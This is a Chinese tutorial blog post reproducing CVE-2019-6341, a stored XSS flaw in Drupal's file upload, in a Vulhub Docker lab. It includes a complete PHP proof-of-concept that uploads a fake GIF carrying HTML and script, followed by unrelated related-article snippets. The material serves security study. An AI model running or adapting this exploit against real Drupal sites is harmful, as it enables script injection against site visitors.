近期遇到Drupal漏洞，研究了一下，给大家分享一篇复现，望共鸣

前言：

Vulhub是一个基于docker和docker-compose的漏洞环境集合，进入对应目录并执行一条语句即可启动一个全新的漏洞环境，让漏洞复现变得更加简单，让安全研究者更加专注于漏洞原理本身。

好哥哥，你等会，你刚才讲的docker我听了个大概，这docker-compose又是啥玩意啊？

docker-compose是用python写的一个docker容器管理工具，可以一键启动多个容器、可以一键日卫星等等功能，假的假的别信！

我们需要先下载漏洞镜像，然后再配置端口映射运行，或者有其它操作，把所有的这些操作都写在docker-compose的配置文件里，我们就可以运行docker-compose来一键执行这些操作，说白了就是方便。

Vulhub下载地址：https://github.com/vulhub/vulhub

漏洞简介：

漏洞编号：CVE-2019-6341，影响的是7.65之前的Drupal 7版本； 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本，可进行XSS攻击。

Drupal诞生于2000年，是一个基于PHP语言编写的开发型CMF（内容管理框架）。

环境启动：

下载好Vulhub之后，我们来到漏洞所在的文件夹，使用命令启动环境，然后进行相应的配置。

来到漏洞所在文件夹

先提升为管理员权限，使用：

sudo su

然后进入对应漏洞的文件夹，启动漏洞环境：

docker-compose up -d

查看正在运行的容器环境：

docker ps

映射到了8080端口，浏览器输入：ip:8080 ，即可访问。

前面几步默认，直接next，然后需要安装数据库，我们选择 sqlite 数据库

然后输入相应的内容安装即可完成。

漏洞复现：

该漏洞需要利用drupal文件模块上传文件的漏洞，伪造一个图片文件，上传，文件的内容实际是一段HTML代码，内嵌JS，这样其他用户在访问这个链接时，就可能触发XSS漏洞。

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/，默认存储名称为其原来的名称，所以之后在利用漏洞时，可以知道上传后的图片的具体位置。

$$

PS：利用POC放在文章末尾了。

$$

输入如下命令，即可使用PoC构造样本并完成上传功能，第一个参数为目标IP，第二个参数为目标端口：

php Test.php 192.168.3.164 8080

然后访问 IP:8080/sites/default/files/pictures/YYYY-MM ,后面的YYYY-MM 改成当前年月，如：

127.0.0.1:8080/sites/default/files/pictures/2021-10/_0

可能出现的问题:

  1. Google Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能，所以验证漏洞是否成功时可使用 Edge 浏览器或者 IE 浏览器。
  2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制。

文章中用到的POC：

<?php

/*

usage: php poc.php <target-ip>

Date: 1 March 2019

Exploit Author: TrendyTofu

Original Discoverer: Sam Thomas

Version: <= Drupal 8.6.2

Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.

Tested not wokring on: Drupal running on MacOS with APFS

CVE : CVE-2019-6341

Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/

*/

$host = $argv[1];

$port = 80;

$pk = "GET /user/register HTTP/1.1\r\n".

"Host: ".$host."\r\n".

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".

"Accept-Language: en-US,en;q=0.5\r\n".

"Referer: //".$host."/user/login\r\n".

"Connection: close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

$out.=fread($fp,1);

}

fclose($fp);

preg_match('/name="form_build_id" value="(.*)"/', $out, $match);

$formid = $match[1];

//var_dump($formid);

//echo "form id is:". $formid;

//echo $out."\n";

sleep(1);

$data =

"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".

"Connection: close\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"mail\"\r\n".

"\r\n".

"test324@example.com\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"name\"\r\n".

"\r\n".

"test2345\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".

"Content-Type: image/gif\r\n".

"\r\n".

"GIF\r\n".

"<HTML>\r\n".

"<HEAD>\r\n".

"<SCRIPT>alert(123);</SCRIPT>\r\n".

"</HEAD>\r\n".

"<BODY>\r\n".

"</BODY>\r\n".

"</HTML>\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_build_id\"\r\n".

"\r\n".

//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".

$formid."\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"form_id\"\r\n".

"\r\n".

"user_register_form\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"contact\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"timezone\"\r\n".

"\r\n".

"America/New_York\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".

"\r\n".

"user_picture_0_upload_button\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".

"\r\n".

"Upload\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".

"\r\n".

"1\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".

"\r\n".

"bartik\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".

"\r\n".

"\r\n".

"-----------------------------60928216114129559951791388325\r\n".

"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".

"\r\n".

"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".

"-----------------------------60928216114129559951791388325--\r\n";

$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".

"Host: ".$host."\r\n".

"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".

"Accept: application/json, text/javascript, */*; q=0.01\r\n".

"Accept-Language: en-US,en;q=0.5\r\n".

"X-Requested-With: \r\n".

"Referer: http://" .$host. "/user/register\r\n".

"Content-Length: ". strlen($data). "\r\n".

$data;

echo "uploading file, please wait...\n";

for ($i =1; $i <= 2; $i++){

$fp = fsockopen($host,$port,$e,$err,1);

if (!$fp) {die("not connected");}

fputs($fp,$pk);

$out="";

while (!feof($fp)){

$out.=fread($fp,1);

}

fclose($fp);

echo "Got ".$i."/2 500 errors\n";

//echo $out."\n";

sleep(1);

}

echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";

?>

更多渗透干货，漏洞利用分享持续关注雨笋教育

*本文章仅供技术交流分享，请勿做未授权违法攻击，雨笋教育不负任何责任。具体请参考《网络安全法》

Drupal漏洞复现：CVE-2019-6341相关推荐

  1. Drupal ＜ 7.32 “Drupalgeddon” SQL注入漏洞（CVE-2014-3704）漏洞复现

    Drupal < 7.32 "Drupalgeddon" SQL注入漏洞 by ADummy 0x00利用路线 ​ Burpsuite抓包改包->信息被爆出 0x01漏 ...

  2. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  3. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  4. CVE-2022-30190(follina)：Microsoft诊断工具(MSDT)远程代码执行漏洞复现（超级详细）

    文章目录 免责声明 前言 一.漏洞简介 风险等级评判 二.影响版本 office版本 三.漏洞复现 复现环境 工具 使用方法 利用 第一种 第二种 防范避免 结尾 参考 免责声明 本文章仅供学习和研究 ...

  5. CVE-2019-1388 Windows UAC 漏洞复现

    CVE-2019-1388 Windows UAC 漏洞复现 文章目录 CVE-2019-1388 Windows UAC 漏洞复现 1. 概述 1.1 UAC 1.2 漏洞简述 1.3 风险等级 1 ...

  6. docker逃逸漏洞复现 cve-2019-5736

    0x01 概述 2019年2月11日,runC的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk和Borys Poplawski发现.该漏洞编号为CVE-2019-5736,漏洞影 ...

  7. Winrar目录穿越漏洞复现

    Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...

  8. android 动画 最顶层_【Android编程实战】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗...

    0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android平台上发现了一个高危漏洞 该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用 ...

  9. java rmi漏洞工具_学生会私房菜【20200924】Weblogic WLS核心组件反序列化命令执行突破（CVE20182628）漏洞复现...

    学生会私房菜 学生会私房菜是通过学生会信箱收集同学们的来稿,挑选其中的优质文档,不定期进行文档推送的主题. 本期文档内容为:Weblogic WLS核心组件反序列化命令执行突破(CVE-2018-26 ...

最新文章

  1. 四个Webix实例：生成多种类型的JavaScript列表
  2. python post json数据_Python POST Json数据到Http
  3. linux拒绝tcp链接,Linux 内核 TCP SACK 拒绝服务问题
  4. idea debug只断点当前线程,不阻塞其他线程
  5. 了解 JavaScript （4）– 第一个 Web 应用程序
  6. mysql invalid default value_mysql5.x升级到5.7 导入数据出错，提示Invalid default value for...
  7. Python_异常和模块
  8. rails 2.3.5 + jquery ui datepicker 不能显示中文
  9. Matlab TreeBagger随机森林回归实例
  10. Java学习笔记——判断一个数是否是质数
  11. Veeam BR 11 Windows Agent备份
  12. 《吉他自学三月通》学习指导
  13. java计算机毕业设计英语学习网站设计与实现MyBatis+系统+LW文档+源码+调试部署
  14. tableau最大值最小值显示
  15. IntelliJ IDEA 类注释、快捷键注释 并对日期格式化
  16. 大学生计算机面试,大学生计算机毕业面试自我介绍
  17. 爱情日记（2005年3月）
  18. 前后端分离-----SEO优化
  19. SpringMVC的参数传递
  20. 习题 4.15 用条件编译方法实现以下功能：输入一行电报文字，可以任选两种输出，一为原文输出；一为将字母变成其下一字母。用#define命令来控制是否要译成密码。

热门文章

  1. 【微信小程序】上传头像
  2. 如何用代码设置滚动条的位置？
  3. 区块链技术及应用发展概述
  4. 【Python】批量修改照片日期
  5. 绘图工具-PlantUML
  6. [Vue.js] 一篇超级长的笔记，给《Vue.js 实战》划个重点
  7. java批量下载生成zip压缩包
  8. 训练赛1_E_Lawnmower
  9. Oracle中的日期时间函数
  10. DataGridView 单击选中一整行，只能单选，不能选择多行，只能选择一行